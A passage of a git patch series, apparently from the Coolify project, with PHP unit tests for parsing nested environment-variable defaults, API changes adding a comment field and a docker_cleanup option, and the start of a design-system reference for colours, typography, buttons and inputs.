expect($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('default_value'); +}); + +test('backward compatibility with dash operator', function () { + $input = '${VAR-default}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe('-'); +}); + +test('backward compatibility with colon question operator', function () { + $input = '${VAR:?error message}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe(':?') + ->and($split['default'])->toBe('error message'); +}); + +test('backward compatibility with question operator', function () { + $input = '${VAR?error}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe('?') + ->and($split['default'])->toBe('error'); +}); + +test('SERVICE_URL magic variables in nested defaults', function () { + // Real-world scenario: SERVICE_URL_* magic variable used in nested default + $input = '${DATABASE_URL:-${SERVICE_URL_POSTGRES}/mydb}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('DATABASE_URL') + ->and($split['default'])->toBe('${SERVICE_URL_POSTGRES}/mydb'); + + // Extract the nested SERVICE_URL variable + $nestedResult = extractBalancedBraceContent($split['default'], 0); + + expect($nestedResult['content'])->toBe('SERVICE_URL_POSTGRES'); +}); + +test('SERVICE_FQDN magic variables in nested defaults', function () { + $input = '${API_HOST:-${SERVICE_FQDN_API}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${SERVICE_FQDN_API}'); + + $nestedResult = extractBalancedBraceContent($split['default'], 0); + + expect($nestedResult['content'])->toBe('SERVICE_FQDN_API'); +}); + +test('complex real-world example', function () { + // Complex real-world scenario from the bug report + $input = '${API_URL:-${SERVICE_URL_YOLO}/api}'; + + // Step 1: Extract outer variable content + $result = extractBalancedBraceContent($input, 0); + expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); + + // Step 2: Split on operator + $split = splitOnOperatorOutsideNested($result['content']); + expect($split['variable'])->toBe('API_URL'); + expect($split['operator'])->toBe(':-'); + expect($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); + + // Step 3: Extract nested variable + $nestedResult = extractBalancedBraceContent($split['default'], 0); + expect($nestedResult['content'])->toBe('SERVICE_URL_YOLO'); + + // This verifies that: + // 1. API_URL should be created with value "${SERVICE_URL_YOLO}/api" + // 2. SERVICE_URL_YOLO should be recognized and created as magic variable +}); + +test('empty nested default values', function () { + $input = '${VAR:-${NESTED:-}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${NESTED:-}'); + + $nestedResult = extractBalancedBraceContent($split['default'], 0); + $nestedSplit = splitOnOperatorOutsideNested($nestedResult['content']); + + expect($nestedSplit['default'])->toBe(''); +}); + +test('nested variables with complex paths', function () { + $input = '${CONFIG_URL:-${SERVICE_URL_CONFIG}/v2/config.json}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${SERVICE_URL_CONFIG}/v2/config.json'); +}); + +test('operator precedence with nesting', function () { + // The first :- at depth 0 should be used, not the one inside nested braces + $input = '${A:-${B:-default}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + // Should split on first :- (at depth 0) + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-default}'); // Not split here +}); diff --git a/tests/Unit/NestedEnvironmentVariableTest.php b/tests/Unit/NestedEnvironmentVariableTest.php new file mode 100644 index 000000000..81b440927 --- /dev/null +++ b/tests/Unit/NestedEnvironmentVariableTest.php @@ -0,0 +1,207 @@ +toBe('VAR') + ->and($result['start'])->toBe(1) + ->and($result['end'])->toBe(5); +}); + +test('extractBalancedBraceContent handles nested braces', function () { + $result = extractBalancedBraceContent('${API_URL:-${SERVICE_URL_YOLO}/api}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api') + ->and($result['start'])->toBe(1) + ->and($result['end'])->toBe(34); // Position of closing } +}); + +test('extractBalancedBraceContent handles triple nesting', function () { + $result = extractBalancedBraceContent('${A:-${B:-${C}}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('A:-${B:-${C}}'); +}); + +test('extractBalancedBraceContent returns null for unbalanced braces', function () { + $result = extractBalancedBraceContent('${VAR', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null when no braces', function () { + $result = extractBalancedBraceContent('VAR', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles startPos parameter', function () { + $result = extractBalancedBraceContent('foo ${VAR} bar', 4); + + assertNotNull($result); + expect($result['content'])->toBe('VAR') + ->and($result['start'])->toBe(5) + ->and($result['end'])->toBe(9); +}); + +test('splitOnOperatorOutsideNested splits on :- operator', function () { + $split = splitOnOperatorOutsideNested('API_URL:-default_value'); + + assertNotNull($split); + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('default_value'); +}); + +test('splitOnOperatorOutsideNested handles nested defaults', function () { + $split = splitOnOperatorOutsideNested('API_URL:-${SERVICE_URL_YOLO}/api'); + + assertNotNull($split); + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); +}); + +test('splitOnOperatorOutsideNested handles dash operator', function () { + $split = splitOnOperatorOutsideNested('VAR-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe('-') + ->and($split['default'])->toBe('default'); +}); + +test('splitOnOperatorOutsideNested handles colon question operator', function () { + $split = splitOnOperatorOutsideNested('VAR:?error message'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':?') + ->and($split['default'])->toBe('error message'); +}); + +test('splitOnOperatorOutsideNested handles question operator', function () { + $split = splitOnOperatorOutsideNested('VAR?error'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe('?') + ->and($split['default'])->toBe('error'); +}); + +test('splitOnOperatorOutsideNested returns null for simple variable', function () { + $split = splitOnOperatorOutsideNested('SIMPLE_VAR'); + + assertNull($split); +}); + +test('splitOnOperatorOutsideNested ignores operators inside nested braces', function () { + $split = splitOnOperatorOutsideNested('A:-${B:-default}'); + + assertNotNull($split); + // Should split on first :- (outside nested braces), not the one inside ${B:-default} + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-default}'); +}); + +test('replaceVariables handles simple variable', function () { + $result = replaceVariables('${VAR}'); + + expect($result->value())->toBe('VAR'); +}); + +test('replaceVariables handles nested expressions', function () { + $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}'); + + expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); +}); + +test('replaceVariables handles variable with default', function () { + $result = replaceVariables('${API_URL:-http://localhost}'); + + expect($result->value())->toBe('API_URL:-http://localhost'); +}); + +test('replaceVariables returns unchanged for non-variable string', function () { + $result = replaceVariables('not_a_variable'); + + expect($result->value())->toBe('not_a_variable'); +}); + +test('replaceVariables handles triple nesting', function () { + $result = replaceVariables('${A:-${B:-${C}}}'); + + expect($result->value())->toBe('A:-${B:-${C}}'); +}); + +test('replaceVariables fallback works for malformed input', function () { + // When braces are unbalanced, it falls back to old behavior + $result = replaceVariables('${VAR'); + + // Old behavior would extract everything before first } + // But since there's no }, it will extract 'VAR' (removing ${) + expect($result->value())->toContain('VAR'); +}); + +test('extractBalancedBraceContent handles complex nested expression', function () { + $result = extractBalancedBraceContent('${API:-${SERVICE_URL}/api/v${VERSION:-1}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('API:-${SERVICE_URL}/api/v${VERSION:-1}'); +}); + +test('splitOnOperatorOutsideNested handles complex nested expression', function () { + $split = splitOnOperatorOutsideNested('API:-${SERVICE_URL}/api/v${VERSION:-1}'); + + assertNotNull($split); + expect($split['variable'])->toBe('API') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL}/api/v${VERSION:-1}'); +}); + +test('extractBalancedBraceContent finds second variable in string', function () { + $str = '${VAR1} and ${VAR2}'; + + // First variable + $result1 = extractBalancedBraceContent($str, 0); + assertNotNull($result1); + expect($result1['content'])->toBe('VAR1'); + + // Second variable + $result2 = extractBalancedBraceContent($str, $result1['end'] + 1); + assertNotNull($result2); + expect($result2['content'])->toBe('VAR2'); +}); + +test('replaceVariables handles empty default value', function () { + $result = replaceVariables('${VAR:-}'); + + expect($result->value())->toBe('VAR:-'); +}); + +test('splitOnOperatorOutsideNested handles empty default value', function () { + $split = splitOnOperatorOutsideNested('VAR:-'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe(''); +}); + +test('replaceVariables handles brace format without dollar sign', function () { + // This format is used by the regex capture group in magic variable detection + $result = replaceVariables('{SERVICE_URL_YOLO}'); + expect($result->value())->toBe('SERVICE_URL_YOLO'); +}); + +test('replaceVariables handles truncated brace format', function () { + // When regex captures {VAR from a larger expression, no closing brace + $result = replaceVariables('{API_URL'); + expect($result->value())->toBe('API_URL'); +}); From 87f9ce0674c02e4bd1795ce4dc4bf202b175f645 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 10 Dec 2025 15:43:16 +0100 Subject: [PATCH 020/305] Add comment field support to environment variable API endpoints MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit API consumers can now create and update environment variables with an optional comment field for documentation purposes. Changes include: - Added comment validation (string, nullable, max 256 chars) to all env endpoints - Updated ApplicationsController create_env and update_env_by_uuid - Updated ServicesController create_env and update_env_by_uuid - Updated openapi.json request schemas to document the comment field 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude --- .../Api/ApplicationsController.php | 14 +++++++++-- .../Controllers/Api/ServicesController.php | 25 +++++++++++++++++-- 2 files changed, 35 insertions(+), 4 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 92c5f04a2..def672a75 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -2529,7 +2529,7 @@ public function envs(Request $request) )] public function update_env_by_uuid(Request $request) { - $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']; + $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -2559,6 +2559,7 @@ public function update_env_by_uuid(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -2600,6 +2601,9 @@ public function update_env_by_uuid(Request $request) if ($request->has('is_buildtime') && $env->is_buildtime != $request->is_buildtime) { $env->is_buildtime = $request->is_buildtime; } + if ($request->has('comment') && $env->comment != $request->comment) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -2630,6 +2634,9 @@ public function update_env_by_uuid(Request $request) if ($request->has('is_buildtime') && $env->is_buildtime != $request->is_buildtime) { $env->is_buildtime = $request->is_buildtime; } + if ($request->has('comment') && $env->comment != $request->comment) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -2926,7 +2933,7 @@ public function create_bulk_envs(Request $request) )] public function create_env(Request $request) { - $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']; + $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -2951,6 +2958,7 @@ public function create_env(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -2986,6 +2994,7 @@ public function create_env(Request $request) 'is_shown_once' => $request->is_shown_once ?? false, 'is_runtime' => $request->is_runtime ?? true, 'is_buildtime' => $request->is_buildtime ?? true, + 'comment' => $request->comment ?? null, 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); @@ -3010,6 +3019,7 @@ public function create_env(Request $request) 'is_shown_once' => $request->is_shown_once ?? false, 'is_runtime' => $request->is_runtime ?? true, 'is_buildtime' => $request->is_buildtime ?? true, + 'comment' => $request->comment ?? null, 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 587f49fa5..802cfa1a3 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1031,6 +1031,7 @@ public function update_env_by_uuid(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { @@ -1046,7 +1047,19 @@ public function update_env_by_uuid(Request $request) return response()->json(['message' => 'Environment variable not found.'], 404); } - $env->fill($request->all()); + $env->value = $request->value; + if ($request->has('is_literal')) { + $env->is_literal = $request->is_literal; + } + if ($request->has('is_multiline')) { + $env->is_multiline = $request->is_multiline; + } + if ($request->has('is_shown_once')) { + $env->is_shown_once = $request->is_shown_once; + } + if ($request->has('comment')) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -1276,6 +1289,7 @@ public function create_env(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { @@ -1293,7 +1307,14 @@ public function create_env(Request $request) ], 409); } - $env = $service->environment_variables()->create($request->all()); + $env = $service->environment_variables()->create([ + 'key' => $key, + 'value' => $request->value, + 'is_literal' => $request->is_literal ?? false, + 'is_multiline' => $request->is_multiline ?? false, + 'is_shown_once' => $request->is_shown_once ?? false, + 'comment' => $request->comment ?? null, + ]); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); } From 21a7f2f581956e268a0b169b1c3be96685d8545c Mon Sep 17 00:00:00 2001 From: "claude[bot]" <41898282+claude[bot]@users.noreply.github.com> Date: Thu, 1 Jan 2026 12:03:13 +0000 Subject: [PATCH 021/305] fix(api): add docker_cleanup parameter to stop endpoints MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add optional docker_cleanup query parameter to the stop endpoints for Services, Applications, and Databases. This allows API users to control whether docker cleanup (pruning networks, volumes, etc.) is performed when stopping resources. The parameter defaults to true for backward compatibility. API Usage: - Stop without docker cleanup: GET /api/v1/{resource}/{uuid}/stop?docker_cleanup=false - Stop with docker cleanup (default): GET /api/v1/{resource}/{uuid}/stop Fixes #7758 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Andras Bacsai --- app/Http/Controllers/Api/ApplicationsController.php | 12 +++++++++++- app/Http/Controllers/Api/DatabasesController.php | 13 ++++++++++++- app/Http/Controllers/Api/ServicesController.php | 13 ++++++++++++- 3 files changed, 35 insertions(+), 3 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 92c5f04a2..1e39215ac 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -3250,6 +3250,15 @@ public function action_deploy(Request $request) format: 'uuid', ) ), + new OA\Parameter( + name: 'docker_cleanup', + in: 'query', + description: 'Perform docker cleanup (prune networks, volumes, etc.).', + schema: new OA\Schema( + type: 'boolean', + default: true, + ) + ), ], responses: [ new OA\Response( @@ -3298,7 +3307,8 @@ public function action_stop(Request $request) $this->authorize('deploy', $application); - StopApplication::dispatch($application); + $dockerCleanup = $request->boolean('docker_cleanup', true); + StopApplication::dispatch($application, false, $dockerCleanup); return response()->json( [ diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 0d38b7363..d3adb84d5 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -2611,6 +2611,15 @@ public function action_deploy(Request $request) format: 'uuid', ) ), + new OA\Parameter( + name: 'docker_cleanup', + in: 'query', + description: 'Perform docker cleanup (prune networks, volumes, etc.).', + schema: new OA\Schema( + type: 'boolean', + default: true, + ) + ), ], responses: [ new OA\Response( @@ -2662,7 +2671,9 @@ public function action_stop(Request $request) if (str($database->status)->contains('stopped') || str($database->status)->contains('exited')) { return response()->json(['message' => 'Database is already stopped.'], 400); } - StopDatabase::dispatch($database); + + $dockerCleanup = $request->boolean('docker_cleanup', true); + StopDatabase::dispatch($database, $dockerCleanup); return response()->json( [ diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 587f49fa5..d58ee443a 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1488,6 +1488,15 @@ public function action_deploy(Request $request) format: 'uuid', ) ), + new OA\Parameter( + name: 'docker_cleanup', + in: 'query', + description: 'Perform docker cleanup (prune networks, volumes, etc.).', + schema: new OA\Schema( + type: 'boolean', + default: true, + ) + ), ], responses: [ new OA\Response( @@ -1539,7 +1548,9 @@ public function action_stop(Request $request) if (str($service->status)->contains('stopped') || str($service->status)->contains('exited')) { return response()->json(['message' => 'Service is already stopped.'], 400); } - StopService::dispatch($service); + + $dockerCleanup = $request->boolean('docker_cleanup', true); + StopService::dispatch($service, false, $dockerCleanup); return response()->json( [ From 425eff0a583e0dcab517632b498d00d1437f6b03 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 1 Feb 2026 19:02:31 +0100 Subject: [PATCH 022/305] docs: add Coolify design system reference Add comprehensive AI/LLM-consumable design system documentation covering: - Design tokens (colors, typography, spacing, shadows, focus rings) - Dark mode strategy with accent color swaps and background hierarchy - Component catalog (buttons, inputs, selects, cards, navigation, modals, etc.) - Interactive state reference (focus, hover, disabled, readonly) - CSS custom properties for theme tokens Includes both Tailwind CSS classes and plain CSS equivalents for all components. --- .ai/design-system.md | 1666 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1666 insertions(+) create mode 100644 .ai/design-system.md diff --git a/.ai/design-system.md b/.ai/design-system.md new file mode 100644 index 000000000..d22adf3c6 --- /dev/null +++ b/.ai/design-system.md @@ -0,0 +1,1666 @@ +# Coolify Design System + +> **Purpose**: AI/LLM-consumable reference for replicating Coolify's visual design in new applications. Contains design tokens, component styles, and interactive states — with both Tailwind CSS classes and plain CSS equivalents. + +--- + +## 1. Design Tokens + +### 1.1 Colors + +#### Brand / Accent + +| Token | Hex | Usage | +|---|---|---| +| `coollabs` | `#6b16ed` | Primary accent (light mode) | +| `coollabs-50` | `#f5f0ff` | Highlighted button bg (light) | +| `coollabs-100` | `#7317ff` | Highlighted button hover (dark) | +| `coollabs-200` | `#5a12c7` | Highlighted button text (light) | +| `coollabs-300` | `#4a0fa3` | Deepest brand shade | +| `warning` / `warning-400` | `#fcd452` | Primary accent (dark mode) | + +#### Warning Scale (used for dark-mode accent + callouts) + +| Token | Hex | +|---|---| +| `warning-50` | `#fefce8` | +| `warning-100` | `#fef9c3` | +| `warning-200` | `#fef08a` | +| `warning-300` | `#fde047` | +| `warning-400` | `#fcd452` | +| `warning-500` | `#facc15` | +| `warning-600` | `#ca8a04` | +| `warning-700` | `#a16207` | +| `warning-800` | `#854d0e` | +| `warning-900` | `#713f12` | + +#### Neutral Grays (dark mode backgrounds) + +| Token | Hex | Usage | +|---|---|---| +| `base` | `#101010` | Page background (dark) | +| `coolgray-100` | `#181818` | Component background (dark) | +| `coolgray-200` | `#202020` | Elevated surface / borders (dark) | +| `coolgray-300` | `#242424` | Input border shadow / hover (dark) | +| `coolgray-400` | `#282828` | Tooltip background (dark) | +| `coolgray-500` | `#323232` | Subtle hover overlays (dark) | + +#### Semantic + +| Token | Hex | Usage | +|---|---|---| +| `success` | `#22C55E` | Running status, success alerts | +| `error` | `#dc2626` | Stopped status, danger actions, error alerts | + +#### Light Mode Defaults + +| Element | Color | +|---|---| +| Page background | `gray-50` (`#f9fafb`) | +| Component background | `white` (`#ffffff`) | +| Borders | `neutral-200` (`#e5e5e5`) | +| Primary text | `black` (`#000000`) | +| Muted text | `neutral-500` (`#737373`) | +| Placeholder text | `neutral-300` (`#d4d4d4`) | + +### 1.2 Typography + +**Font family**: Inter, sans-serif (weights 100–900, woff2, `font-display: swap`) + +#### Heading Hierarchy + +> **CRITICAL**: All headings and titles (h1–h4, card titles, modal titles) MUST be `white` (`#fff`) in dark mode. The default body text color is `neutral-400` (`#a3a3a3`) — headings must override this to white or they will be nearly invisible on dark backgrounds. + +| Element | Tailwind | Plain CSS (light) | Plain CSS (dark) | +|---|---|---|---| +| `h1` | `text-3xl font-bold dark:text-white` | `font-size: 1.875rem; font-weight: 700; color: #000;` | `color: #fff;` | +| `h2` | `text-xl font-bold dark:text-white` | `font-size: 1.25rem; font-weight: 700; color: #000;` | `color: #fff;` | +| `h3` | `text-lg font-bold dark:text-white` | `font-size: 1.125rem; font-weight: 700; color: #000;` | `color: #fff;` | +| `h4` | `text-base font-bold dark:text-white` | `font-size: 1rem; font-weight: 700; color: #000;` | `color: #fff;` | + +#### Body Text + +| Context | Tailwind | Plain CSS | +|---|---|---| +| Body default | `text-sm antialiased` | `font-size: 0.875rem; line-height: 1.25rem; -webkit-font-smoothing: antialiased;` | +| Labels | `text-sm font-medium` | `font-size: 0.875rem; font-weight: 500;` | +| Badge/status text | `text-xs font-bold` | `font-size: 0.75rem; line-height: 1rem; font-weight: 700;` | +| Box description | `text-xs font-bold text-neutral-500` | `font-size: 0.75rem; font-weight: 700; color: #737373;` | + +### 1.3 Spacing Patterns + +| Context | Value | CSS | +|---|---|---| +| Component internal padding | `p-2` | `padding: 0.5rem;` | +| Callout padding | `p-4` | `padding: 1rem;` | +| Input vertical padding | `py-1.5` | `padding-top: 0.375rem; padding-bottom: 0.375rem;` | +| Button height | `h-8` | `height: 2rem;` | +| Button horizontal padding | `px-2` | `padding-left: 0.5rem; padding-right: 0.5rem;` | +| Button gap | `gap-2` | `gap: 0.5rem;` | +| Menu item padding | `px-2 py-1` | `padding: 0.25rem 0.5rem;` | +| Menu item gap | `gap-3` | `gap: 0.75rem;` | +| Section margin | `mb-12` | `margin-bottom: 3rem;` | +| Card min-height | `min-h-[4rem]` | `min-height: 4rem;` | + +### 1.4 Border Radius + +| Context | Tailwind | Plain CSS | +|---|---|---| +| Default (inputs, buttons, cards, modals) | `rounded-sm` | `border-radius: 0.125rem;` | +| Callouts | `rounded-lg` | `border-radius: 0.5rem;` | +| Badges | `rounded-full` | `border-radius: 9999px;` | +| Cards (coolbox variant) | `rounded` | `border-radius: 0.25rem;` | + +### 1.5 Shadows + +#### Input / Select Box-Shadow System + +Coolify uses **inset box-shadows instead of borders** for inputs and selects. This enables a unique "dirty indicator" — a colored left-edge bar. + +```css +/* Default state */ +box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #e5e5e5; + +/* Default state (dark) */ +box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #242424; + +/* Focus state (light) — purple left bar */ +box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5; + +/* Focus state (dark) — yellow left bar */ +box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424; + +/* Dirty (modified) state — same as focus */ +box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5; /* light */ +box-shadow: inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424; /* dark */ + +/* Disabled / Readonly */ +box-shadow: none; +``` + +#### Input-Sticky Variant (thinner border) + +```css +/* Uses 1px border instead of 2px */ +box-shadow: inset 4px 0 0 transparent, inset 0 0 0 1px #e5e5e5; +``` + +### 1.6 Focus Ring System + +All interactive elements (buttons, links, checkboxes) share this focus pattern: + +**Tailwind:** +``` +focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base +``` + +**Plain CSS:** +```css +:focus-visible { + outline: none; + box-shadow: 0 0 0 2px #101010, 0 0 0 4px #6b16ed; /* light */ +} + +/* dark mode */ +.dark :focus-visible { + box-shadow: 0 0 0 2px #101010, 0 0 0 4px #fcd452; +} +``` + +> **Note**: Inputs use the inset box-shadow system (section 1.5) instead of the ring system. + +--- + +## 2. Dark Mode Strategy + +- **Toggle method**: Class-based — `.dark` class on `` element +- **CSS variant**: `@custom-variant dark (&:where(.dark, .dark *));` +- **Default border override**: All elements default to `border-color: var(--color-coolgray-200)` (`#202020`) instead of `currentcolor` + +### Accent Color Swap + +| Context | Light | Dark | +|---|---|---| +| Primary accent | `coollabs` (`#6b16ed`) | `warning` (`#fcd452`) | +| Focus ring | `ring-coollabs` | `ring-warning` | +| Input focus bar | `#6b16ed` (purple) | `#fcd452` (yellow) | +| Active nav text | `text-black` | `text-warning` | +| Helper/highlight text | `text-coollabs` | `text-warning` | +| Loading spinner | `text-coollabs` | `text-warning` | +| Scrollbar thumb | `coollabs-100` | `coollabs-100` | + +### Background Hierarchy (dark) + +``` +#101010 (base) — page background + └─ #181818 (coolgray-100) — cards, inputs, components + └─ #202020 (coolgray-200) — elevated surfaces, borders, nav active + └─ #242424 (coolgray-300) — input borders (via box-shadow), button borders + └─ #282828 (coolgray-400) — tooltips, hover states + └─ #323232 (coolgray-500) — subtle overlays +``` + +### Background Hierarchy (light) + +``` +#f9fafb (gray-50) — page background + └─ #ffffff (white) — cards, inputs, components + └─ #e5e5e5 (neutral-200) — borders + └─ #f5f5f5 (neutral-100) — hover backgrounds + └─ #d4d4d4 (neutral-300) — deeper hover, nav active +``` + +--- + +## 3. Component Catalog + +### 3.1 Button + +#### Default + +**Tailwind:** +``` +flex gap-2 justify-center items-center px-2 h-8 text-sm text-black normal-case rounded-sm +border-2 outline-0 cursor-pointer font-medium bg-white border-neutral-200 hover:bg-neutral-100 +dark:bg-coolgray-100 dark:text-white dark:hover:text-white dark:hover:bg-coolgray-200 +dark:border-coolgray-300 hover:text-black disabled:cursor-not-allowed min-w-fit +dark:disabled:text-neutral-600 disabled:border-transparent disabled:hover:bg-transparent +disabled:bg-transparent disabled:text-neutral-300 +focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs +dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base +``` + +**Plain CSS:** +```css +.button { + display: flex; + gap: 0.5rem; + justify-content: center; + align-items: center; + padding: 0 0.5rem; + height: 2rem; + font-size: 0.875rem; + font-weight: 500; + text-transform: none; + color: #000; + background: #fff; + border: 2px solid #e5e5e5; + border-radius: 0.125rem; + outline: 0; + cursor: pointer; + min-width: fit-content; +} +.button:hover { background: #f5f5f5; } + +/* Dark */ +.dark .button { + background: #181818; + color: #fff; + border-color: #242424; +} +.dark .button:hover { + background: #202020; + color: #fff; +} + +/* Disabled */ +.button:disabled { + cursor: not-allowed; + border-color: transparent; + background: transparent; + color: #d4d4d4; +} +.dark .button:disabled { color: #525252; } +``` + +#### Highlighted (Primary Action) + +**Tailwind** (via `isHighlighted` attribute): +``` +text-coollabs-200 dark:text-white bg-coollabs-50 dark:bg-coollabs/20 +border-coollabs dark:border-coollabs-100 hover:bg-coollabs hover:text-white +dark:hover:bg-coollabs-100 dark:hover:text-white +``` + +**Plain CSS:** +```css +.button-highlighted { + color: #5a12c7; + background: #f5f0ff; + border-color: #6b16ed; +} +.button-highlighted:hover { + background: #6b16ed; + color: #fff; +} +.dark .button-highlighted { + color: #fff; + background: rgba(107, 22, 237, 0.2); + border-color: #7317ff; +} +.dark .button-highlighted:hover { + background: #7317ff; + color: #fff; +} +``` + +#### Error / Danger + +**Tailwind** (via `isError` attribute): +``` +text-red-800 dark:text-red-300 bg-red-50 dark:bg-red-900/30 +border-red-300 dark:border-red-800 hover:bg-red-300 hover:text-white +dark:hover:bg-red-800 dark:hover:text-white +``` + +**Plain CSS:** +```css +.button-error { + color: #991b1b; + background: #fef2f2; + border-color: #fca5a5; +} +.button-error:hover { + background: #fca5a5; + color: #fff; +} +.dark .button-error { + color: #fca5a5; + background: rgba(127, 29, 29, 0.3); + border-color: #991b1b; +} +.dark .button-error:hover { + background: #991b1b; + color: #fff; +} +``` + +#### Loading Indicator + +Buttons automatically show a spinner (SVG with `animate-spin`) next to their content during async operations. The spinner uses the accent color (`text-coollabs` / `text-warning`). + +--- + +### 3.2 Input + +**Tailwind:** +``` +block py-1.5 w-full text-sm text-black rounded-sm border-0 +dark:bg-coolgray-100 dark:text-white +disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 +dark:read-only:text-neutral-500 dark:read-only:bg-coolgray-100/40 +placeholder:text-neutral-300 dark:placeholder:text-neutral-700 +read-only:text-neutral-500 read-only:bg-neutral-200 +focus-visible:outline-none +``` + +**Plain 